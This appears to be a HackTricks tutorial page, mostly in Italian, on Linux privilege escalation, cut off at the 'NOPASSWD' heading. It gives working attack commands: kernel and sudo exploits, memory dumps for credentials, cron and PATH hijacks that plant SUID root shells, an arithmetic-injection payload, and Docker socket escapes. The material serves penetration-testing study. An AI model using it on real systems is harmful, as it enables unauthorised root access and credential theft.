Linux Privilege Escalation

Reading time: 63 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni sul sistema

Informazioni OS

Iniziamo a raccogliere alcune informazioni sull'OS in esecuzione

bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Path

Se hai i permessi di scrittura su qualsiasi cartella all'interno della variabile PATH potresti essere in grado di dirottare alcune librerie o binari:

bash
echo $PATH

Env info

Informazioni interessanti, password o chiavi API nelle variabili d'ambiente?

bash
(env || set) 2>/dev/null

Kernel exploits

Controlla la versione del kernel e verifica se esiste qualche exploit che possa essere usato per ottenere privilegi elevati

bash
cat /proc/version
uname -a
searchsploit "Linux Kernel"

Puoi trovare una buona lista di kernel vulnerabili e alcuni già compiled exploits qui: https://github.com/lucyoa/kernel-exploits e exploitdb sploits.
Altri siti dove puoi trovare alcuni compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Per estrarre tutte le versioni del kernel vulnerabili da quel sito puoi fare:

bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Strumenti che potrebbero aiutare a cercare exploit del kernel sono:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (execute IN victim,only checks exploits for kernel 2.x)

Cerca sempre la versione del kernel su Google, magari la tua versione del kernel è menzionata in qualche exploit del kernel e così sarai sicuro che quell'exploit è valido.

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

bash
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo version

Basato sulle versioni di sudo vulnerabili che compaiono in:

bash
searchsploit sudo

Puoi verificare se la versione di sudo è vulnerabile usando questo grep.

bash
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

Sudo < 1.9.17p1

Le versioni di sudo precedenti alla 1.9.17p1 (1.9.14 - 1.9.17 < 1.9.17p1) permettono a utenti locali non privilegiati di elevare i propri privilegi a root tramite l'opzione --chroot di sudo quando il file /etc/nsswitch.conf viene utilizzato da una directory controllata dall'utente.

Here is a PoC to exploit that vulnerability. Prima di eseguire l'exploit, assicurati che la tua versione di sudo sia vulnerabile e che supporti la funzionalità chroot.

Per maggiori informazioni, consulta l'vulnerability advisory

sudo < v1.8.28

Da @sickrov

sudo -u#-1 /bin/bash

Dmesg: verifica della firma fallita

Controlla smasher2 box of HTB per un esempio di come questa vuln possa essere sfruttata

bash
dmesg 2>/dev/null | grep "signature"

Ulteriore enumerazione del sistema

bash
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Enumerare le possibili difese

AppArmor

bash
if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

bash
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

bash
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

bash
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

bash
(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

bash
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

Se sei all'interno di un docker container, puoi provare ad evadere da esso:

Docker Security

Dischi

Controlla cosa è montato e non montato, dove e perché. Se qualcosa non è montato potresti provare a montarlo e verificare la presenza di informazioni private.

bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Software utile

Elencare i binari utili

bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Controlla anche se è installato qualsiasi compiler. Questo è utile se devi usare qualche kernel exploit, poiché è consigliabile compilarlo sulla macchina in cui lo utilizzerai (o su una simile).

bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Software vulnerabili installati

Verifica la versione dei pacchetti e dei servizi installati. Potrebbe esserci, ad esempio, una vecchia versione di Nagios che potrebbe essere sfruttata per escalating privileges…
Si raccomanda di controllare manualmente la versione dei software installati più sospetti.

bash
dpkg -l #Debian
rpm -qa #Centos

Se hai accesso SSH alla macchina puoi anche usare openVAS per verificare software obsoleto o vulnerabile installato sulla macchina.

[!NOTE] > Nota che questi comandi mostreranno molte informazioni per lo più inutili, perciò è consigliabile usare applicazioni come OpenVAS o simili che verifichino se la versione di un software installato è vulnerabile a exploit noti

Processi

Dai un'occhiata a quali processi sono in esecuzione e verifica se qualche processo ha più privilegi di quelli che dovrebbe avere (magari un tomcat eseguito da root?)

bash
ps aux
ps -ef
top -n 1

Controlla sempre se sono in esecuzione electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas li rileva controllando il parametro --inspect all'interno della command line del processo.
Controlla anche i tuoi privilegi sui binary dei processi, magari puoi sovrascriverne qualcuno.

Process monitoring

Puoi usare tool come pspy per monitorare i processi. Questo può essere molto utile per identificare processi vulnerabili eseguiti frequentemente o quando viene soddisfatto un insieme di condizioni.

Process memory

Alcuni servizi su un server salvano credentials in clear text inside the memory.
Normalmente avrai bisogno di root privileges per leggere la memoria dei processi che appartengono ad altri utenti, quindi questo è solitamente più utile quando sei già root e vuoi scoprire altre credentials.
Tuttavia, ricorda che come utente normale puoi leggere la memoria dei processi che possiedi.

warning

Nota che al giorno d'oggi la maggior parte delle macchine non permette ptrace di default, il che significa che non puoi effettuare il dump di altri processi che appartengono a un utente non privilegiato.

Il file /proc/sys/kernel/yama/ptrace_scope controlla l'accessibilità di ptrace:

  • kernel.yama.ptrace_scope = 0: tutti i processi possono essere debugged, purché abbiano lo stesso uid. Questo è il modo classico in cui funzionava il ptrace.
  • kernel.yama.ptrace_scope = 1: solo un processo genitore può essere debugged.
  • kernel.yama.ptrace_scope = 2: solo l'admin può usare ptrace, poiché richiede la capability CAP_SYS_PTRACE.
  • kernel.yama.ptrace_scope = 3: nessun processo può essere tracciato con ptrace. Una volta impostato, è necessario un reboot per abilitare nuovamente il ptracing.

GDB

Se hai accesso alla memoria di un servizio FTP (per esempio) potresti ottenere l'Heap e cercare al suo interno le credentials.

bash
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

Script GDB

dump-memory.sh
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Per un dato process ID, maps mostrano come la memoria è mappata nello spazio di indirizzi virtuale di quel processo; mostrano anche i permessi di ogni regione mappata. Il pseudo-file mem espone la memoria del processo stesso. Dal file maps sappiamo quali regioni di memoria sono leggibili e i loro offset. Usiamo queste informazioni per seek into the mem file and dump all readable regions in un file.

bash
procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem fornisce accesso alla memoria fisica del sistema, non alla memoria virtuale. Lo spazio degli indirizzi virtuali del kernel è accessibile usando /dev/kmem.
Tipicamente, /dev/mem è leggibile solo da root e dal gruppo kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump per linux

ProcDump è una reinterpretazione per Linux del classico strumento ProcDump della suite Sysinternals per Windows. Disponibile su https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Strumenti

Per dumpare la memoria di un processo puoi usare:

Credenziali dalla memoria del processo

Esempio manuale

Se trovi che il processo authenticator è in esecuzione:

bash
ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Puoi dump il processo (vedi le sezioni precedenti per trovare diversi modi per dump la memoria di un processo) e cercare credentials nella memoria:

bash
./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Lo strumento https://github.com/huntergregal/mimipenguin estrae credenziali in chiaro dalla memoria e da alcuni file ben noti. Richiede privilegi root per funzionare correttamente.

FunzionalitàNome processo
Password GDM (Kali Desktop, Debian Desktop)gdm-password
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)gnome-keyring-daemon
LightDM (Ubuntu Desktop)lightdm
VSFTPd (Connessioni FTP attive)vsftpd
Apache2 (Sessioni HTTP Basic Auth attive)apache2
OpenSSH (Sessioni SSH attive - uso di sudo)sshd:

Regex di ricerca/truffleproc

bash
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Job pianificati / Cron jobs

Crontab UI (alseambusher) che gira come root – web-based scheduler privesc

Se un pannello web “Crontab UI” (alseambusher/crontab-ui) gira come root ed è legato solo all'interfaccia loopback, puoi comunque raggiungerlo via SSH local port-forwarding e creare un job privilegiato per ottenere l'escalation dei privilegi.

Sequenza tipica

  • Individuare una porta accessibile solo da loopback (es., 127.0.0.1:8000) e il realm Basic-Auth tramite ss -ntlp / curl -v localhost:8000
  • Trovare credenziali in artefatti operativi:
  • Backups/scripts con zip -P <password>
  • unità systemd che espone Environment="BASIC_AUTH_USER=...", Environment="BASIC_AUTH_PWD=..."
  • Tunnel e login:
bash
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
  • Crea un job high-priv e eseguilo immediatamente (drops SUID shell):
bash
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
  • Usalo:
bash
/tmp/rootshell -p   # root shell

Rafforzamento

  • Non eseguire Crontab UI come root; limitane l'uso con un utente dedicato e permessi minimi
  • Fare il bind su localhost e restringere ulteriormente l'accesso tramite firewall/VPN; non riutilizzare le password
  • Evitare di inserire secret nei unit files; usare secret stores o EnvironmentFile accessibile solo a root
  • Abilitare audit/logging per le esecuzioni on-demand dei job

Verifica se qualche job schedulato è vulnerabile. Forse puoi sfruttare uno script eseguito da root (wildcard vuln? puoi modificare file che root usa? usare symlinks? creare file specifici nella directory che root usa?).

bash
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Cron path

Per esempio, all'interno di /etc/crontab puoi trovare il PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Nota come l'utente "user" abbia privilegi di scrittura su /home/user)

Se in questo crontab l'utente root prova a eseguire un comando o uno script senza impostare il PATH. Per esempio: * * * * root overwrite.sh
Allora, puoi ottenere una shell root usando:

bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron using a script with a wildcard (Wildcard Injection)

Se uno script eseguito da root contiene un “*” all'interno di un comando, puoi sfruttarlo per causare comportamenti inattesi (come privesc). Esempio:

bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Se il wildcard è preceduto da un percorso come /some/path/* , non è vulnerabile (anche ./* non lo è).

Read the following page for more wildcard exploitation tricks:

Wildcards Spare tricks

Bash arithmetic expansion injection in cron log parsers

Bash esegue parameter expansion e command substitution prima della valutazione aritmetica in ((...)), $((...)) e let. Se un root cron/parser legge campi di log non attendibili e li inserisce in un contesto aritmetico, un attacker può iniettare una command substitution $(...) che viene eseguita come root quando il cron viene eseguito.

  • Perché funziona: In Bash le espansioni avvengono in questo ordine: parameter/variable expansion, command substitution, arithmetic expansion, poi word splitting e pathname expansion. Quindi un valore come $(/bin/bash -c 'id > /tmp/pwn')0 viene prima sostituito (eseguendo il comando), poi il rimanente numerico 0 viene usato per l'aritmetica così lo script continua senza errori.

  • Pattern vulnerabile tipico:

bash
#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count ))     # or: let "n=$count"
done < /var/www/app/log/application.log
  • Sfruttamento: Inserisci testo controllato dall'attacker nel log analizzato in modo che il campo che sembra numerico contenga una command substitution e finisca con una cifra. Assicurati che il tuo comando non stampi su stdout (o reindirizzalo) in modo che l'operazione aritmetica rimanga valida.
bash
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.

Se puoi modificare un cron script eseguito da root, puoi ottenere una shell molto facilmente:

bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Se lo script eseguito da root usa una directory sulla quale hai pieno accesso, potrebbe essere utile eliminare quella cartella e creare un symlink verso un'altra cartella che punti a uno script controllato da te

bash
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Cron jobs frequenti

Puoi monitorare i processi per cercare quelli che vengono eseguiti ogni 1, 2 o 5 minuti. Potresti sfruttarli per escalate privileges.

Per esempio, per monitorare ogni 0.1s durante 1 minuto, ordinare per comandi meno eseguiti ed eliminare i comandi che sono stati eseguiti più spesso, puoi fare:

bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Puoi anche usare pspy (monitorerà e elencherà ogni processo che viene avviato).

Cron jobs invisibili

È possibile creare un cronjob mettendo un carriage return dopo un commento (senza carattere newline), e il cron job funzionerà. Esempio (nota il carriage return char):

bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Servizi

Scrivibili .service file

Verifica se puoi scrivere qualsiasi .service file, se puoi, potresti modificarlo in modo che esegua la tua backdoor quando il servizio viene avviato, riavviato o arrestato (potrebbe essere necessario attendere il riavvio della macchina).
Ad esempio crea la tua backdoor all'interno del file .service con ExecStart=/tmp/script.sh

Binari di servizio scrivibili

Tieni presente che se hai permessi di scrittura sui binari eseguiti dai servizi, puoi modificarli per inserire backdoor in modo che, quando i servizi verranno rieseguiti, vengano eseguite le backdoor.

systemd PATH - Percorsi relativi

Puoi vedere il PATH usato da systemd con:

bash
systemctl show-environment

Se scopri di poter scrivere in una qualsiasi delle cartelle del percorso, potresti essere in grado di escalate privileges. Devi cercare percorsi relativi usati nei file di configurazione dei servizi come:

bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Poi, crea un eseguibile con lo stesso nome del binary relativo nella cartella PATH di systemd in cui puoi scrivere, e quando il servizio viene chiamato a eseguire l'azione vulnerabile (Start, Stop, Reload), la tua backdoor verrà eseguita (gli utenti non privilegiati di solito non possono avviare/fermare i servizi, ma verifica se puoi usare sudo -l).

Scopri di più sui servizi con man systemd.service.

Timers

Timers sono file unit di systemd il cui nome termina in **.timer** che controllano file o eventi **.service**. I Timers possono essere usati come alternativa a cron poiché hanno supporto integrato per eventi basati su tempo di calendario e per eventi su tempo monotono e possono essere eseguiti in modo asincrono.

Puoi elencare tutti i timers con:

bash
systemctl list-timers --all

Timer scrivibili

Se puoi modificare un timer, puoi far sì che esegua alcune unità esistenti di systemd.unit (come una .service o una .target)

bash
Unit=backdoor.service

Nella documentazione puoi leggere cosa sia l'unità:

L'unità da attivare quando questo timer scade. L'argomento è un nome di unità, il cui suffisso non è ".timer". Se non specificato, questo valore di default è un servizio che ha lo stesso nome dell'unità timer, eccetto il suffisso. (Vedi sopra.) Si raccomanda che il nome dell'unità attivata e il nome dell'unità timer siano nominati in modo identico, eccetto per il suffisso.

Pertanto, per abusare di questa autorizzazione dovresti:

  • Trovare qualche unità systemd (come una .service) che stia eseguendo un eseguibile scrivibile
  • Trovare qualche unità systemd che stia eseguendo un percorso relativo e su cui hai privilegi di scrittura sul systemd PATH (per impersonare quell'eseguibile)

Learn more about timers with man systemd.timer.

Abilitare un timer

Per abilitare un timer hai bisogno dei privilegi root ed eseguire:

bash
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Note the timer is activated by creating a symlink to it on /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Unix Domain Sockets (UDS) enable comunicazione tra processi sulla stessa macchina o su macchine diverse all'interno di modelli client-server. Utilizzano i normali file descriptor Unix per la comunicazione inter-computer e vengono configurati tramite file .socket.

Sockets can be configured using .socket files.

Per saperne di più sui socket consulta man systemd.socket. All'interno di questo file è possibile configurare diversi parametri interessanti:

  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Queste opzioni sono differenti ma, in sintesi, vengono usate per indicare dove il socket ascolterà (il percorso del file del socket AF_UNIX, l'indirizzo IPv4/6 e/o il numero di porta da ascoltare, ecc.)
  • Accept: Accetta un argomento booleano. Se true, viene avviata un'istanza del service per ogni connessione in ingresso e solo il socket della connessione le viene passato. Se false, tutti i socket di ascolto vengono passati all'unità di service avviata, e viene avviata una sola unità di service per tutte le connessioni. Questo valore è ignorato per socket datagram e FIFO dove una singola unità di service gestisce incondizionatamente tutto il traffico in ingresso. Default: false. Per ragioni di performance, è raccomandato scrivere nuovi daemon in modo compatibile con Accept=no.
  • ExecStartPre, ExecStartPost: Accettano una o più righe di comando, che vengono eseguite prima o dopo che i socket/FIFO di ascolto siano rispettivamente creati e associati. Il primo token della riga di comando deve essere un percorso assoluto al file eseguibile, seguito dagli argomenti per il processo.
  • ExecStopPre, ExecStopPost: Comandi aggiuntivi che vengono eseguiti prima o dopo che i socket/FIFO di ascolto vengano rispettivamente chiusi e rimossi.
  • Service: Specifica il nome dell'unità service da attivare al verificarsi di traffico in ingresso. Questa impostazione è consentita solo per socket con Accept=no. Di default punta al service che porta lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi non è necessario usare questa opzione.

Writable .socket files

If you find a writable .socket file you can add at the beginning of the [Socket] section something like: ExecStartPre=/home/kali/sys/backdoor and the backdoor will be executed before the socket is created. Therefore, you will probably need to wait until the machine is rebooted.
Note that the system must be using that socket file configuration or the backdoor won't be executed

Writable sockets

If you identify any writable socket (now we are talking about Unix Sockets and not about the config .socket files), then you can communicate with that socket and maybe exploit a vulnerability.

Enumerate Unix Sockets

bash
netstat -a -p --unix

Connessione raw

bash
#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Exploitation example:

Socket Command Injection

HTTP sockets

Nota che potrebbero esserci alcuni sockets listening for HTTP requests (non sto parlando dei .socket files ma dei file che fungono da unix sockets). Puoi verificarlo con:

bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

Se la socket risponde con una richiesta HTTP, allora puoi comunicare con essa e magari sfruttare qualche vulnerabilità.

Docker socket scrivibile

Il Docker socket, spesso presente in /var/run/docker.sock, è un file critico che deve essere protetto. Per impostazione predefinita è scrivibile dall'utente root e dai membri del gruppo docker. Avere accesso in scrittura a questa socket può portare a privilege escalation. Ecco una panoramica di come questo può essere fatto e metodi alternativi se il Docker CLI non è disponibile.

Privilege Escalation con Docker CLI

Se hai accesso in scrittura al Docker socket, puoi ottenere privilege escalation usando i seguenti comandi:

bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Questi comandi permettono di eseguire un container con accesso root al file system dell'host.

Utilizzo diretto della Docker API

Nel caso in cui la Docker CLI non sia disponibile, il Docker socket può comunque essere manipolato usando la Docker API e i comandi curl.

  1. Elenca immagini Docker: Recupera la lista delle immagini disponibili.
bash
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. Crea un container: Invia una richiesta per creare un container che monti la directory root del sistema host.
bash
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Avvia il container appena creato:

bash
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. Attach to the Container: Usa socat per stabilire una connessione al container, abilitando l'esecuzione di comandi al suo interno.
bash
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Dopo aver stabilito la connessione con socat, puoi eseguire comandi direttamente nel container con accesso root al file system dell'host.

Altri

Nota che se hai permessi di scrittura sul docker socket perché sei nel gruppo docker hai more ways to escalate privileges. Se la docker API is listening in a port you can also be able to compromise it.

Controlla altri modi per evadere da docker o abusarne per elevare i privilegi in:

Docker Security

Containerd (ctr) privilege escalation

Se scopri di poter usare il comando ctr leggi la pagina seguente poiché you may be able to abuse it to escalate privileges:

Containerd (ctr) Privilege Escalation

RunC privilege escalation

Se scopri di poter usare il comando runc leggi la pagina seguente poiché you may be able to abuse it to escalate privileges:

RunC Privilege Escalation

D-Bus

D-Bus è un sofisticato sistema di inter-process communication (IPC) che permette alle applicazioni di interagire e condividere dati in modo efficiente. Progettato per i sistemi Linux moderni, fornisce un framework solido per diverse forme di comunicazione tra applicazioni.

Il sistema è versatile, supportando IPC di base che migliora lo scambio di dati tra processi, simile ai socket di dominio UNIX avanzati. Inoltre, aiuta nella diffusione di eventi o segnali, favorendo l'integrazione tra i componenti di sistema. Per esempio, un segnale da un daemon Bluetooth relativo a una chiamata in arrivo può indurre un lettore musicale a silenziarsi, migliorando l'esperienza utente. Inoltre, D-Bus supporta un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodi tra applicazioni, snellendo processi che tradizionalmente erano complessi.

D-Bus opera su un modello allow/deny, gestendo i permessi dei messaggi (chiamate di metodo, emissioni di segnali, ecc.) basandosi sull'effetto cumulativo delle regole di policy corrispondenti. Queste policy specificano le interazioni con il bus, potenzialmente permettendo l'escalation dei privilegi attraverso lo sfruttamento di tali permessi.

Un esempio di tale policy in /etc/dbus-1/system.d/wpa_supplicant.conf è fornito, dettagliando i permessi per l'utente root di possedere, inviare e ricevere messaggi da fi.w1.wpa_supplicant1.

Le policy senza un utente o gruppo specificato si applicano universalmente, mentre le policy nel contesto "default" si applicano a tutti coloro non coperti da altre policy specifiche.

xml
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Scopri come enumerare e sfruttare una comunicazione D-Bus qui:

D-Bus Enumeration & Command Injection Privilege Escalation

Rete

È sempre interessante enumerare la rete e capire la posizione della macchina.

Enumerazione generica

bash
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Porte aperte

Controlla sempre i servizi di rete in esecuzione sulla macchina con cui non sei riuscito a interagire prima di accedervi:

bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Verifica se puoi eseguire sniffing del traffico. Se ci riesci, potresti essere in grado di ottenere alcune credenziali.

timeout 1 tcpdump

Utenti

Enumerazione Generica

Controlla chi sei, quali privilegi hai, quali utenti sono nei sistemi, quali possono effettuare il login e quali hanno i privilegi di root:

bash
#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Big UID

Alcune versioni di Linux sono state interessate da un bug che permette agli utenti con UID > INT_MAX di elevare i privilegi. Maggiori info: here, here and here.
Sfruttalo usando: systemd-run -t /bin/bash

Gruppi

Verifica se sei membro di qualche gruppo che potrebbe concederti privilegi di root:

Interesting Groups - Linux Privesc

Appunti

Controlla se c'è qualcosa di interessante negli appunti (se possibile)

bash
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Politica delle Password

bash
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Password conosciute

Se conosci qualche password dell'ambiente prova ad accedere come ogni utente usando la password.

Su Brute

Se non ti dispiace fare molto rumore e i binari su e timeout sono presenti sul computer, puoi provare a brute-force un utente usando su-bruteforce.
Linpeas con il parametro -a prova anche a brute-force gli utenti.

Abusi del PATH scrivibile

$PATH

Se scopri di poter scrivere in qualche cartella del $PATH potresti essere in grado di escalate privileges creando una backdoor nella cartella scrivibile con il nome di un comando che verrà eseguito da un altro utente (idealmente root) e che è **non caricata da una cartella che si trova prima della tua cartella scrivibile nel $PATH.

SUDO and SUID

Potresti essere autorizzato a eseguire alcuni comandi usando sudo oppure alcuni binari potrebbero avere il bit suid. Controllalo usando:

bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Alcuni comandi inaspettati consentono di leggere e/o scrivere file o persino eseguire un comando. Ad esempio:

bash
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

